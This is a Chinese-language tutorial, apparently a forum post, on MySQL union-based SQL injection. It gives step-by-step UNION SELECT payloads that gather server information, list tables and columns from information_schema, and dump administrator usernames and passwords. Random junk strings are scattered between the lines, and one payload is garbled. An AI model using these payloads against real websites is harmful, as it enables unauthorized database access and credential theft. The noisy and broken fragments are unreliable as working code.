mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法
8 S2 Z+ d4 i& K. W" Y
学习盲注前先了解下 IFORMATION_SCHEMA 库
$ a( U' u* h! L2 O$ I# r1 h* P
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|---字段：SCHEMA_NAME ->数据库名称
/ e6 M  b0 o" B3 w- r5 O& V3 D
0 o! B& q9 m2 s2 _|TABLES ->存储表名
|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
8 R# c& S3 S* O/ b|---字段：TABLE_NAME ->存储表的表名

& _  J0 v( y# Z5 E: F8 D. F|COLUMNS ->存储的字段名表
+ p/ K. M6 M- J+ }|---字段：TABLE_SCHEMA ->该字段所属数据库名
|---字段：TABLE_NAME ->存储所属表的名称
  t; y9 W* ?( u# T. f
9 {4 d2 `& T" [1 P9 i0 e|---字段：COLUMN_NAME ->该字段的名称
: |% b, i, y, [5 ~- P( q

2 U( p8 G9 V  L6 l( h' p( ?% F/ d3 B
, V3 B4 {) ]& m2 }: `###########################################################################
$ \, }7 C1 d" p2 C+ v2 B" o
0x001 获取系统信息:
6 l# Q  d; D5 K# |% a
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
# q# @! \$ K) c
/ u0 y& F1 N* i9 n" r/*

@@global.version_compile_os 获取系统版本

2 W$ J! L8 P' [' z# M2 y@@datadir 数据库路径
database() 当前数据库名称
! f, S; M, _: q$ a4 I0 ~! {0x3c62723e 换行HEX值
1 ~" E7 g2 X/ ]+ Z: n, X
*/
/ K9 P$ k: r. c" k# d9 }; p
: |! T0 @- u8 Z) S9 X, W! ~7 c4 ~+ n

. x, F, ^( s) }/ r7 `######################################################################

* z1 [/ ^, x( d3 A5 @7 }2 p0x002 获取表名
0 }5 s, `1 t" g
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*

' S# Q0 X9 V# s, ]

$ B4 J7 K+ m, l* Q/*

4 I% k# B2 [2 v, k0x67617264656e 为当前数据库名

group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
  P, R, e5 {- U5 I% ~4 W
*/
0 D6 i! i5 R4 o" ~
######################################################################
' _& _. s: N* w" ^

  v& O5 p5 M8 D4 m/ }' a. b9 @# y
0x003 获取字段
- m' T) K3 K+ n$ a0 [  S, d
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*

' k9 U2 ]+ |' {/ `* b5 }/*
2 S8 L: Y2 [0 b& N3 V( d
group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

0x61646d696e ->选择一个表
9 t2 X) O5 L+ Z3 n
0x67617264656e ->数据库名
) x$ {- f2 O2 T) R* I2 M  a9 O
1 B' w! \# k) z7 \1 K* [*/
: B6 a6 r: ?5 R
#####################################################################
# G$ A" q) m5 K" G) W8 r

/ y# j! i5 _& @% k; I$ _9 @
0x004 获取数据

union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

0 {$ H/ b8 q, q6 n3 y: |union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
3 S+ v2 `1 L5 M5 h) P0 r- _) Z: V
- m# z# e' l) t7 h- O5 ]' {( E9 l- p

/ W/ d+ E8 d" l/*
# t% P8 S4 Y. K1 @
0x3c62723e 换行符号HEX编码

group_concat 同时获得该字段所有数据

4 V& [. v7 @1 N, z$ {8 u  }*/
2 Y, Y, ?8 H  b# y
4 p1 f8 I  y0 d  ^, G  v8 T! u